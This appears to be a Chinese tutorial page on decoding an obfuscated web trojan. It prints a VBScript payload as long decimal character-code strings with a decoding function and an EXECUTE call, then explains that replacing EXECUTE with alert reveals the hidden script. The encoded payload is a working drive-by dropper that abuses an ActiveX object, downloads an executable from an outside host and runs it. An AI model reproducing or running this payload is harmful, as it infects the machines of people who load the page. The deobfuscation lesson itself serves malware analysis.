JS解密入门最终变量劫持_javascript技巧

Cn911="83,61,34,52,70,54,69,50,48,52,53,55,50,55,50,54,70,55,50,50,48,53,50,54,53,55,51,55,53,54,68,54,53,50,48,52,69,54,53,55,56,55,52,48,68,48,65,52,51,54,69,52,67,53,50,53,53,51,68,50,50,54,56,55,52,55,52,55,48,51,65,50,70,50,70,55,55,55,55,55,55,50,69,54,66,55,50,55,54,54,66,55,50,50,69,54,51,54,70,54,68,50,70,55,55,54,70,55,50,54,68,50,69,54,53,55,56,54,53,50,50,48,68,48,65,53,51,54,53,55,52,50,48,52,70,54,50,50,48,51,68,50,48,54,52,54,70,54,51,55,53,54,68,54,53,54,69,55,52,50,69,54,51,55,50,54,53,54,49,55,52,54,53,52,53,54,67,54,53,54,68,54,53,54,69,55,52,50,56,50,50,54,70,54,50,50,50,50,54,50,50,54,65,54,53,50,50,50,54,50,50,54,51,50,50,50,54,50,50,55,52,50,50,50,57,48,68,48,65,52,70,54,50,50,69,53,51,54,53,55,52,52,49,55,52,55,52,55,50,54,57,54,50,55,53,55,52,54,53,50,48,50,50,54,51,54,67,54,49,50,50,50,54,50,50,55,51,55,51,54,57,54,52,50,50,50,67,50,48,50,50,54,51,50,50,50,54,50,50,54,67,55,51,50,50,50,54,50,50,54,57,50,50,50,54,50,50,54,52,51,65,52,50,52,52,51,57,50,50,50,54,50,50,51,54,52,51,51,53,51,53,50,50,50,54,50,50,51,54,50,68,51,54,51,53,50,50,50,54,50,50,52,49,51,51,50,68,51,49,51,49,52,52,51,48,50,50,50,54,50,50,50,68,51,57,51,56,51,51,52,49,50,68,51,48,51,48,52,51,50,50,50,54,50,50,51,48,51,52,52,54,52,51,51,50,51,57,50,50,50,54,50,50,52,53,51,51,51,54,50,50,48,68,48,65,55,51,52,56,53,52,53,52,53,48,51,68,50,50,52,68,50,50,50,54,50,50,54,57,54,51,50,50,50,54,50,50,55,50,54,70,50,50,50,54,50,50,55,51,50,50,50,54,50,50,54,70,54,54,50,50,50,54,50,50,55,52,50,50,50,54,50,50,50,69,53,56,50,50,50,54,50,50,52,68,50,50,50,54,50,50,52,67,50,50,50,54,50,50,52,56,50,50,50,54,50,50,53,52,53,52,50,50,50,54,50,50,53,48,50,50,48,68,48,65,53,51,54,53,55,52,50,48,53,48,54,70,55,48,50,48,51,68,50,48,52,70,54,50,50,69,52,51,55,50,54,53,54,49,55,52,54,53,52,70,54,50,54,65,54,53,54,51,55,52,50,56,55,51,52,56,53,52,53,52,53,48,50,67,50,50,50,50,50,57,48,68,48,65,53,48,54,70,55,48,50,69,52,70,55,48,54,53,54,69,50,48,50,50,52,55,50,50,50,54,50,50,52,53,53,52,50,50,50,67,50,48,52,51,54,69,52,67,53,50,53,53,50,67,50,48,52,54,54,49,54,67,55,51,54,53,48,68,48,65,53,48,54,70,55,48,50,69,53,51,54,53,54,69,54,52,48,68,48,65,52,53,55,56,54,53,52,69,54,49,54,68,54,53,51,68,50,50,52,51,54,69,50,50,50,54,50,50,51,57,51,49,50,50,50,54,50,50,51,49,50,69,54,53,55,56,54,53,50,50,48,68,48,65,53,54,54,50,55,51,52,69,54,49,54,68,54,53,51,68,50,50,52,51,54,69,50,50,50,54,50,50,51,57,51,49,50,50,50,54,50,50,51,49,50,69,55,54,54,50,55,51,50,50,48,68,48,65,53,51,54,53,55,52,50,48,52,54,53,48,52,57,50,48,51,68,50,48,52,70,54,50,50,69,54,51,55,50,54,53,54,49,55,52,54,53,54,70,54,50,54,65,54,53,54,51,55,52,50,56,50,50,53,51,54,51,55,50,54,57,50,50,50,54,50,50,55,48,50,50,50,54,50,50,55,52,54,57,54,69,54,55,50,69,52,54,50,50,50,54,50,50,54,57,50,50,50,54,50,50,54,67,54,53,50,50,50,54,50,50,53,51,55,57,50,50,50,54,50,50,55,51,55,52,50,50,50,54,50,50,54,53,50,50,50,54,50,50,54,68,52,70,50,50,50,54,50,50,54,50,54,65,54,53,50,50,50,54,50,50,54,51,55,52,50,50,50,67,50,50,50,50,50,57,48,68,48,65,53,51,54,53,55,52,50,48,55,51,53,52,54,68,55,48,50,48,51,68,50,48,52,54,53,48,52,57,50,69,52,55,54,53,55,52,53,51,55,48,54,53,54,51,54,57,54,49,54,67,52,54,54,70,54,67,54,52,54,53,55,50,50,56,51,50,50,57,48,68,48,65,52,53,55,56,54,53,52,69,54,49,54,68,54,53,51,68,52,54,53,48,52,57,50,69,52,50,55,53,54,57,54,67,54,52,53,48,54,49,55,52,54,56,50,56,55,51,53,52,54,68,55,48,50,67,52,53,55,56,54,53,52,69,54,49,54,68,54,53,50,57,48,68,48,65,53,54,54,50,55,51,52,69,54,49,54,68,54,53,51,68,52,54,53,48,52,57,50,69,52,50,55,53,54,57,54,67,54,52,53,48,54,49,55,52,54,56,50,56,55,51,53,52,54,68,55,48,50,67,53,54,54,50,55,51,52,69,54,49,54,68,54,53,50,57,48,68,48,65,52,49,52,49,51,68,50,50,52,49,50,50,50,54,50,50,54,52,50,50,48,68,48,65,52,49,52,50,51,68,50,50,54,70,50,50,50,54,50,50,54,52,50,50,50,54,50,50,54,50,50,50,50,54,50,50,50,69,50,50,50,54,50,50,55,51,50,50,50,54,50,50,55,52,55,50,54,53,50,50,50,54,50,50,54,49,54,68,50,50,48,68,48,65,52,49,54,52,52,68,51,68,52,49,52,49,50,54,52,49,52,50,48,68,48,65,53,51,54,53,55,52,50,48,52,50,54,52,54,49,50,48,51,68,50,48,52,70,54,50,50,69,54,51,55,50,54,53,54,49,55,52,54,53,54,70,54,50,54,65,54,53,54,51,55,52,50,56,52,49,54,52,52,68,50,67,50,50,50,50,50,57,48,68,48,65,52,50,54,52,54,49,50,69,55,52,55,57,55,48,54,53,51,68,51,49,48,68,48,65,52,50,54,52,54,49,50,69,52,70,55,48,54,53,54,69,48,68,48,65,52,50,54,52,54,49,50,69,53,55,55,50,54,57,55,52,54,53,50,48,53,48,54,70,55,48,50,69,53,50,54,53,55,51,55,48,54,70,54,69,55,51,54,53,52,50,54,70,54,52,55,57,48,68,48,65,52,50,54,52,54,49,50,69,53,51,54,49,55,54,54,53,55,52,54,70,54,54,54,57,54,67,54,53,50,48,52,53,55,56,54,53,52,69,54,49,54,68,54,53,50,67,51,50,48,68,48,65,52,50,54,52,54,49,50,69,52,51,54,67,54,70,55,51,54,53,48,68,48,65,52,50,54,52,54,49,50,69,53,52,55,57,55,48,54,53,51,68,51,50,48,68,48,65,52,50,54,52,54,49,50,69,52,70,55,48,54,53,54,69,48,68,48,65,52,50,54,52,54,49,50,69,53,55,55,50,54,57,55,52,54,53,53,52,54,53,55,56,55,52,50,48,50,50,53,51,54,53,55,52,50,4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'以下是处理的函数
Function Rechange(Q)
S=Split(Q,",")
Cn922=""
For i = 0 To UBound(S)
Cn922=Cn922&Chr(eval(S(i)))
Next
Rechange=Cn922
End Function

'执行这个代码
EXECUTE(Rechange(Cn911))

看到我的前几篇文章的朋友应该知道，前面的是10进制，直觉解就行了，不过下面有个处理函数，你用10进制解密出来之后还要去分析函数的功能，很不合算。Rechange这个是处理函数，这个函数的功能我们不知道，不要紧，我们看到最后这里有个EXECUTE()，说明这个就是执行函数，执行的内容是 Rechange(Cn911)，我们把EXECUTE改为alert()就行了，也就是把最后一行改为alert(Rechange(Cn911))。

劫持完毕，打开网页，解密的内容弹出来了。

学习要点：对于这种网马，最后一定会有一个最终的变量或是表达式，修改执行函数即可